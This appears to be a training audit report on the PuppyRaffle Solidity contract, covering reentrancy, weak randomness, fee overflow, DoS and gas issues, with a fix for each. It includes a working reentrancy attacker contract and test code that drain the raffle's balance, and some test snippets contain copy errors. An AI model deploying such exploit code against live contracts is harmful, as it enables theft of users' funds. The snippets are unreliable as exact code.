Puppy Raffle Audit Report

0xOwain, Cyfrin Updraft Security (section 4)

August 30, 2025

Puppy Raffle Audit Report

Version 1.0

0xOwain

August 30, 2025

Puppy Raffle Audit Report

0xOwain, Cyfrin Updraft Security (section 4)

August 30, 2025

Prepared by: OwainPeters48

Lead Auditor: Owain Peters, Cyfrin Updraft Security (section 4)

Table of Contents

Protocol Summary

PuppyRaffle is a Solidity smart contract raffle where users enter by paying an `entranceFee`. The contract tracks entrants in a `players` array, accumulates protocol fees in `totalFees`, and later selects a winner via `selectWinner`, which pays out the prize pool and (optionally) mints a puppy NFT to the winner. Players may call `refund` to withdraw their entry before the raffle concludes. The owner can change the fee recipient via `changeFeeAddress` and withdraw accumulated fees with `withdrawFees`.

Disclaimer

The 0xOwain team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- **Commit Hash:** e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
- PuppyRaffle.sol
```

Roles

Owner – Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player – Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through the `refund` function.

Executive Summary

We reviewed PuppyRaffle with a focus on access control, state management, randomness, external call ordering (CEI), and fee accounting. We identified **three High-severity issues**: a reentrancy in `refund` (external call before state update), weak randomness in `selectWinner` (predictable/ influenceable

outcome), and an integer overflow of `totalFees` combined with a brittle balance equality check in `withdrawFees`. We also found **one Medium** DoS/gas-scaling issue from duplicate checks over an ever-growing `players` array, and **one Low** UX/logic issue where `getActivePlayerIndex` ambiguously returns `0` for both "not found" and "index 0".

Informational/Gas notes recommend following CEI consistently, tightening pragma/versioning, avoiding magic numbers, checking `address(0)` assignments, and caching storage reads in loops.

Overall, the codebase is small and readable, but requires fixes to reentrancy, randomness, and fee accounting to be production-safe.

Issues found

- **High (3)**
  - **H-1**: Reentrancy in `refund` drains raffle balance (CEI violation).
  - **H-2**: Weak randomness in `selectWinner` allows outcome manipulation.
  - **H-3**: `totalFees` integer overflow + brittle `withdrawFees` balance check.
- **Medium (1)**
  - **M-1**: $O(n^2)$ duplicate-player check in `enterRaffle` enables DoS/gas escalation.
- **Low (1)**
  - **L-1**: `getActivePlayerIndex` returns `0` for both "not found" and index `0` (ambiguous/UX-wasting gas).
- **Informational / Gas**
  - CEI consistency in `selectWinner`; specific & up-to-date pragma; avoid magic numbers; check `address(0)` on assignments; cache `players.length` in loops.

Findings

This section lists all findings by severity.

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description:
The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result enables participants to drain the contract balance.
In `refund`, the external call to `msg.sender` is made before updating the `players` array. This allows reentrancy.

Impact:
A malicious participant could repeatedly trigger the `refund` function through a fallback/receive function and drain all funds. All fees paid by raffle entrants could be stolen.

Proof of Concept:
1. User enters the raffle.
2. Attacker deploys a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `refund` from their attack contract, draining the contract balance.

Proof of Code:

```
function test_reentrancyRefund() public {
        address;
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ", startingAttackContractBalance);
        console.log("starting contract balance: ", startingContractBalance);
        console.log("ending attacker contract balance: ", address(attackerContract).balance);
        console.log("ending contract balance: ", address(puppyRaffle).balance);
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle public puppyRaffle;
    uint256 public entranceFee;
    uint256 public attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
```

```
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address;
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {}
}
```

Recommended Mitigation:
To prevent this, the `PuppyRaffle::refund` function should update the `players` array before making the external call. Additionally, move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not ac

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and the winning puppy

Description:
Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good source of

randomness. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact:
Any user can influence the outcome of the raffle, winning the prize pool and selecting the rarest puppy. This undermines fairness and could render the raffle worthless if it becomes a gas war over predictable outcomes.

Proof of Concept:
1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao.
2. `block.difficulty` was recently replaced with `prevrandao`, but is still predictable.
3. A user can manipulate their `msg.sender` value (e.g., deploy contracts with specific addresses) so that the address hash favours them in the winner selection.
4. Users can revert their `selectWinner` transaction if they don't like the outcome, retrying until favourable results are achieved.

Recommended Mitigation Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:
In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. totalFees will be:

```
totalFees = totalFees + uint64(fee);

// aka
totalFees = 800000000000000000 + 17800000000000000000
```

```
// and this will overflow!

totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently playe
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

Recommended Mitigation:
There are a few possible mitigations.

1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently pla
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

IMPACT: Medium LIKELIHOOD: Medium

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS Attack

@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
```

```
        }
    }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle:: entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players -6252048 gas - 2nd 100 players: -18068138 gas

This is more than 3x for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        //see how much gas it costs.
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);


        // now for the 2nd 100 players
        // Let's enter 100 players
        uint256 playersNumSecond = 100;
        address[] memory playersSecond = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // now see how much gas it costs.
        address[] memory playersTwo = new address[](playersNum);
```

```
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i +playersNum); // 0, 1, 2,  -> 100, 101, 102
        }

        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEnd) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);

    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make a new wallet address anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description:
If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact:
A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:
1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation:
The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
-       require(players[i] != players[j], "PuppyRaffle: Duplicate player");
+       for (uint256 j = i + 1; j < playerLength; j++) {
+           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
+       }
    }
}
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version.

For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:
Deploy with any of the following Solidity versions: `0.8.18`

The recommendations take into account: - Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

slither docs

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

Found in: - src/PuppyRaffle.sol: 8662:23:35
- src/PuppyRaffle.sol: 3165:24:35
- src/PuppyRaffle.sol: 9809:26:35

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
+ _safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```